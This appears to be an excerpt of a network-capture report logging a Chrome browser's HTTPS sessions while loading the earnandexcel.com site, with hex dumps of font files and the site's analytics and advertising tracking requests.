2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 00 20 00 21 00 22 00 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2a 00 2b 00 2c 00 2d 00 2e 00 2f 00 30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3a 00 3b 00 3c 00 3d 00 3e 00 3f 00 40 00 41 00 42 00 43 00 44 00 45 00 46 00 47 00 48 00 49 00 4a 00 4b 00 4c 00 4d 00 4e 00 4f 00 50 00 51 00 52 00 53 00 54 00 55 00 56 00 57 00 58 00 59 00 5a 00 5b 00 5c 00 5d 00 5e 00 5f 00 60 00 61 00 00 00 84 00 85 00 87 00 89 00 91 00 96 00 9c 00 a1 00 a0 00 a2 00 a4 00 a3 00 a5 00 a7 00 a9 00 a8 00 aa 00 ab 00 ad 00 ac 00 ae 00 af 00 b1 00 b3 00 b2 00 b4 00 b6 00 b5 00 ba 00 b9 00 bb 00 bc 02 1e 00 70 00 63 00 64 00 68 02 20 00 76 00 9f 00 6e 00 6a 02 38 00 74 00 69 02 58 00 86 00 98 02 54 00 71 02 59 02 5a 00 66 00 75 02 4e 02 51 02 50 01 6e 02 55 00 6b 00 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`apcdh vnj8tiXTqYZfuNQPnUk
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 36 4f 76 4f b8 4f fc 50 4c 50 a0 50 be 50 dc 51 0a 51 3e 51 7c 51 bc 51 e8 52 14 52 56 52 a0 52 e6 53 2e 53 58 53 76 53 b4 53 e6 54 18 54 3c 54 78 54 b4 54 fa 55 3e 55 8a 55 be 56 00 56 24 56 44 56 88 56 ce 56 f6 57 1e 57 44 57 6c 57 a4 57 e2 58 06 58 2a 58 5e 58 a6 58 c4 58 e2 58 f0 58 fe 59 1a 59 36 59 52 59 84 59 b6 59 e6 59 fc 5a 1a 5a 2e 5a 5c 5a b8 5a ca 5a dc 5b 1a 5b 66 5b 74 5b a8 5c 02 5c 40 5c 7c 5c aa 5c e2 5d 26 5d 4c 5d 7c 5d c2 5d dc 5e 0a 5e 38 5e 64 5e 9a 5e d6 5e fe 5f 2c 5f 72 5f ce 60 24 60 9c 61 0c 61 60 61 78 61 90 61 a8 61 c0 61 da 61 f6 62 10 62 2a 62 52 62 74 62 94 62 b6 62 d8 62 fa 63 30 63 46 63 5e 63 7c 63 8a 63 a0 64 00 64 1a 64 40 64 7c 64 9e 64 b8 64 d2 65 66 65 74 65 8a 65 98 65 ac 65 c8 65 ee 66 04 66 1e 66 42 66 6a 66 b8 Data Ascii: 6OvOOPLPPPQQ>Q\|QQRRVRRS.SXSvSSTT<TxTTU>UUVV$VDVVVWWDWlWWXXX^XXXXXYY6YRYYYYZZ.Z\ZZZ[[f[t[\\@\\|\\]&]L]\|]]^^8^d^^^_,_r_`$`aa`axaaaaabbbRbtbbbbc0cFc^c\|ccddd@d\|dddefeteeeeefffBfjf
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: fe 4f 35 98 01 1b 19 01 1b 9a 33 4e ff 00 00 01 00 31 01 89 01 ca 03 0f 00 0e 00 00 13 07 27 37 27 37 17 35 33 15 37 17 07 17 07 fd 61 2f 5f 9b 13 9c 3b 9c 13 9a 5e 2f 02 0d 84 23 84 33 38 33 a7 a7 33 38 33 84 23 00 00 00 00 01 00 32 00 85 02 1d 02 6b 00 0b 00 00 01 23 35 33 35 33 15 33 15 23 15 23 01 02 d0 d0 4b d0 d0 4b 01 54 4a cd cd 4a cf 00 00 00 00 01 00 44 ff 67 00 d9 00 87 00 0f 00 00 17 27 36 37 06 23 22 26 34 36 33 32 16 1d 01 14 6e 27 4e 09 0c 0c 1d 25 29 1d 23 2c 99 24 3b 3d 05 24 3c 29 36 2c 04 6e 00 00 00 01 00 4b 01 0f 01 69 01 62 00 03 00 00 01 21 35 21 01 69 fe e2 01 1e 01 0f 53 00 00 01 00 44 ff f7 00 d3 00 87 00 09 00 00 36 34 36 33 32 16 14 06 23 22 44 2a 1e 1d 2a 2a 1d 1e 21 3c 2a 2a 3c 2a 00 00 00 01 00 23 ff fb 01 ca 03 2e 00 03 00 Data Ascii: O53N1'7'7537a/_;^/#383383#2k#53533##KKTJJDg'67#"&4632n'N%)#,$;=$<)6,nKib!5!iSD64632#"D*!<<*#.
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: fe 50 01 b0 fd fa 02 06 02 47 cc cc 4f f6 48 f6 00 00 02 00 4e 00 e2 02 1d 02 11 00 03 00 07 00 00 01 21 35 21 11 21 35 21 02 1d fe 31 01 cf fe 31 01 cf 01 c3 4e fe d1 4c 00 01 00 53 00 60 02 59 02 94 00 06 00 00 13 35 05 15 05 35 25 53 02 06 fd fa 01 b0 02 46 4e f6 48 f6 4e cc 00 02 00 22 ff f7 01 d5 03 18 00 1c 00 28 00 00 01 22 07 27 3e 01 33 32 16 15 14 07 06 07 0e 01 1d 01 23 35 34 36 3f 01 3e 01 35 34 26 03 34 36 33 32 16 15 14 06 23 22 26 01 00 6d 29 48 1a 77 4d 5d 78 1d 19 45 2e 23 4d 2b 2f 1c 2e 21 45 94 23 18 19 21 21 19 18 23 02 cb 73 25 4b 50 70 55 3a 31 29 3a 26 39 2f 28 31 35 53 29 18 29 39 27 33 46 fd 67 18 22 22 18 19 22 22 00 00 02 00 38 ff af 03 38 02 cf 00 35 00 41 00 00 00 36 35 34 26 23 22 06 15 14 16 33 32 37 17 0e 01 23 22 26 35 34 Data Ascii: PGOHN!5!!5!11NLS`Y55%SFNHN"("'>32#546?>54&4632#"&m)HwM]xE.#M+/.!E#!!#s%KPpU:1):&9/(15S))9'3Fg""""885A654&#"327#"&54
2024-04-11 21:26:52 UTC	622	IN	Data Raw: 00 1f 00 00 05 27 06 23 22 26 35 34 36 33 32 16 15 14 07 17 01 14 16 33 32 37 27 37 17 36 35 34 26 23 22 06 03 17 66 69 8a a8 e0 e1 a9 a8 e1 5f 63 fd 3e af 86 67 4e 96 37 98 46 b0 86 85 ae 13 5c 51 e5 a8 aa e8 e5 a8 9a 70 55 01 5f 87 be 39 83 3d 89 59 77 87 be bb 00 02 00 6d 00 00 02 aa 03 0f 00 0d 00 15 00 00 13 11 23 11 21 32 16 15 14 06 07 13 23 03 27 33 32 36 34 26 2b 01 bf 52 01 0f 88 8b 7a 5d f2 64 e7 a0 b6 63 64 5e 67 b8 01 3d fe c3 03 0f 82 62 60 74 0c fe b5 01 3d 4b 5e 84 58 00 00 01 00 31 ff f8 02 3c 03 18 00 23 00 00 05 22 27 37 1e 01 33 32 36 34 26 27 2e 01 35 34 36 33 32 16 17 07 26 23 22 06 15 14 16 17 16 17 16 15 14 06 01 40 c7 48 47 1e 5e 4c 47 61 5c 5a 78 72 90 66 5d 7e 1c 46 32 81 42 60 4e 59 8a 3b 36 8a 08 bf 25 49 4e 4c 78 4a 16 1d 6a Data Ascii: '#"&54632327'7654&#"fi_c>gN7F\QpU_9=Ywm#!2#'3264&+Rz]dcd^g=b`t=K^X1<#"'73264&'.54632&#"@HG^LGa\Zxrf]~F2B`NY;6%INLxJj
2024-04-11 21:26:52 UTC	43	IN	Data Raw: 32 35 0d 0a 2c 01 d6 fd cb 4c 02 78 4b 4b fd 88 4c 00 00 00 00 01 00 67 ff 87 01 79 03 5e 00 07 00 00 01 23 11 33 15 21 11 0d 0a Data Ascii: 25,LxKKLgy^#3!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.17	49975	172.253.62.154	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	840	OUT	POST /g/collect?v=2&tid=G-8Y0K4MPJV5&cid=668614997.1712870801&gtm=45je44a0v884867978z8835174253za200&aip=1&dma=0&gcd=13l3l3l3l1&npa=0 HTTP/1.1 Host: stats.g.doubleclick.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://earnandexcel.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-04-11 21:26:52 UTC	450	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://earnandexcel.com Date: Thu, 11 Apr 2024 21:26:52 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Credentials: true Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.17	49979	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	853	OUT	GET /tr/?id=719379935201922&ev=PageView&dl=https%3A%2F%2Fearnandexcel.com%2F&rl=&if=false&ts=1712870810369&sw=1280&sh=1024&v=2.9.153&r=stable&a=tmSimo-GTM-WebTemplate&ec=0&o=4126&fbp=fb.1.1712870810368.1597450838&ler=empty&cdl=API_unavailable&it=1712870808940&coo=false&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:52 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=10, mss=1277, tbw=3405, tp=-1, tpl=-1, uplat=1, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Thu, 11 Apr 2024 21:26:52 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.17	49978	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	945	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=719379935201922&ev=PageView&dl=https%3A%2F%2Fearnandexcel.com%2F&rl=&if=false&ts=1712870810369&sw=1280&sh=1024&v=2.9.153&r=stable&a=tmSimo-GTM-WebTemplate&ec=0&o=4126&fbp=fb.1.1712870810368.1597450838&ler=empty&cdl=API_unavailable&it=1712870808940&coo=false&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:52 UTC	948	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 21:26:52 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 21:26:52 UTC	1506	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 21:26:52 UTC	78	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 43PNGIHDRIDATxc-IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.17	49983	142.250.65.238	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	1180	OUT	POST /g/collect?v=2&tid=G-8Y0K4MPJV5&gtm=45je44a0v884867978z8835174253za200&_p=1712870798210&_gaz=1&gcd=13l3l3l3l1&npa=0&dma=0&cid=668614997.1712870801&ul=en-us&sr=1280x1024&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&are=1&pae=1&pscdl=noapi&_s=1&sid=1712870807&sct=1&seg=0&dl=https%3A%2F%2Fearnandexcel.com%2F&dt=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&en=page_view&_fv=1&_ss=1&tfd=14247 HTTP/1.1 Host: analytics.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://earnandexcel.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:52 UTC	450	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://earnandexcel.com Date: Thu, 11 Apr 2024 21:26:52 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Credentials: true Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.17	49985	142.251.40.100	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	809	OUT	GET /pagead/1p-user-list/416707819/?random=1712870809382&cv=11&fst=1712869200000&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2F&frm=0&tiba=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&npa=0&fmt=3&is_vtc=1&cid=CAQSGwB7FLtqQVhWucT7_G9YvV2zanSzmAmUZ93F7w&random=1285676519&rmt_tld=0&ipr=y HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:52 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 11 Apr 2024 21:26:52 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:52 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.17	49987	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	2221	OUT	GET /wp-content/themes/edumall/assets/fonts/gordita/Gordita-Bold.ttf HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://earnandexcel.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/gordita/font-gordita.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000
2024-04-11 21:26:53 UTC	928	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:53 GMT Content-Type: application/x-font-ttf Transfer-Encoding: chunked Connection: close CF-Ray: 872e0eb50f2c436d-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-1e6e8" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1yFBTa%2FjDJrHrTwf1nmCHimp6OPKYUhPRIdya6uEVn%2Fr1NBXAumPIGj8Kcaa274XkMQmQQRd5JUm2RISZeOGmwXuSbWYNg9cyoH%2FDzfKar2lLE6JHQOqQ5plgx7QzRkbT%2FQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:53 UTC	441	IN	Data Raw: 37 63 30 66 0d 0a 00 01 00 00 00 10 01 00 00 04 00 00 46 46 54 4d 8c 64 32 8f 00 01 e6 cc 00 00 00 1c 4f 53 2f 32 4f b3 6e 9f 00 00 01 88 00 00 00 60 63 6d 61 70 7b d9 f7 3f 00 00 0d 94 00 00 05 be 66 65 61 74 40 33 0d dd 00 01 e1 98 00 00 00 64 67 61 73 70 ff ff 00 03 00 01 e0 38 00 00 00 08 67 6c 79 66 10 5c d5 28 00 00 19 2c 00 00 f8 8c 68 65 61 64 14 fa 72 ae 00 00 01 0c 00 00 00 36 68 68 65 61 08 33 06 21 00 00 01 44 00 00 00 24 68 6d 74 78 9d 8b 74 03 00 00 01 e8 00 00 0b ac 6b 65 72 6e b3 c8 10 77 00 01 11 b8 00 00 ad e2 6c 6f 63 61 5b 1c 98 12 00 00 13 54 00 00 05 d8 6d 61 78 70 03 34 00 6f 00 00 01 68 00 00 00 20 6d 6f 72 78 34 4f 10 59 00 01 e1 fc 00 00 04 d0 6e 61 6d 65 b0 46 c4 0c 00 01 bf 9c 00 00 09 38 70 6f 73 74 26 67 ac e4 00 01 c8 d4 00 Data Ascii: 7c0fFFTMd2OS/2On`cmap{?feat@3dgasp8glyf\(,headr6hhea3!D$hmtxtkernwloca[Tmaxp4oh morx4OYnameF8post&g
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 00 02 ef 50 00 e0 fa 00 00 00 00 00 00 00 00 55 4b 57 4e 00 20 00 20 fb 04 04 28 fe f5 00 00 04 28 01 0b 20 00 01 97 00 00 00 00 02 16 03 0f 00 00 00 20 00 01 03 1f 00 5a 00 00 00 00 01 4d 00 00 00 fb 00 00 01 53 00 4a 01 ff 00 32 03 4c 00 26 02 8c 00 16 03 79 00 23 02 ee 00 2c 01 1a 00 32 01 9c 00 2d 01 99 00 13 01 f7 00 26 02 6c 00 2b 01 41 00 33 01 ca 00 40 01 3a 00 31 02 32 00 1f 03 00 00 31 01 ee 00 03 02 a3 00 2f 02 95 00 23 02 d9 00 1f 02 93 00 27 02 b7 00 32 02 78 00 1f 02 ae 00 32 02 b7 00 2e 01 50 00 3c 01 55 00 3d 02 7a 00 25 02 79 00 44 02 7a 00 4a 02 28 00 1e 03 62 00 31 03 18 ff ff 02 e8 00 5b 03 40 00 2b 03 32 00 5b 02 97 00 5b 02 89 00 5b 03 59 00 2b 03 42 00 5b 01 59 00 5b 02 6e 00 1d 02 e0 00 5b 02 5c 00 5b 04 16 00 5b 03 64 00 5b 03 83 Data Ascii: PUKWN (( ZMSJ2L&y#,2-&l+A3@:121/#'2x2.P<U=z%yDzJ(b1[@+2[[[Y+B[Y[n[\[[d[
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 02 6b 00 48 03 5a 00 2b 02 aa 00 28 03 18 ff ff 02 55 00 2a 04 1e ff f3 03 bc 00 2a 03 86 00 2c 02 97 00 27 02 8c 00 13 02 00 00 1c 02 a1 00 15 01 c2 00 15 01 35 ff d0 01 ac 00 14 01 a4 00 14 00 e8 00 14 01 b1 00 0b 02 1e 00 14 00 00 ff 47 00 00 ff 71 00 00 ff 3e 00 00 ff 32 00 00 ff 4a 00 00 ff 42 00 00 ff a0 00 00 ff 32 00 00 ff 65 00 00 ff 05 00 00 ff 3e 00 00 ff a8 00 00 ff a8 00 00 ff 4d 00 00 ff 8a 03 83 00 2b 03 73 00 37 02 de 00 2b 02 ea 00 18 02 97 00 5b 03 4c 00 15 02 5b 00 5b 03 3f 00 2b 02 8c 00 13 01 59 00 5b 01 59 ff e1 02 6e 00 1d 04 d5 00 17 04 c3 00 5b 03 61 00 15 02 e2 00 5b 02 d9 00 03 03 3c 00 5b 03 18 ff ff 02 ed 00 5b 02 e8 00 5b 02 59 00 5b 03 8a 00 36 02 97 00 5b 04 56 ff ff 02 92 00 1a 03 5e 00 5b 03 5e 00 5b 02 e0 00 5b 03 41 00 Data Ascii: kHZ+(U**,'5Gq>2JB2e>M+s7+[L[[?+Y[Yn[a[<[[[Y[6[V^[^[[A
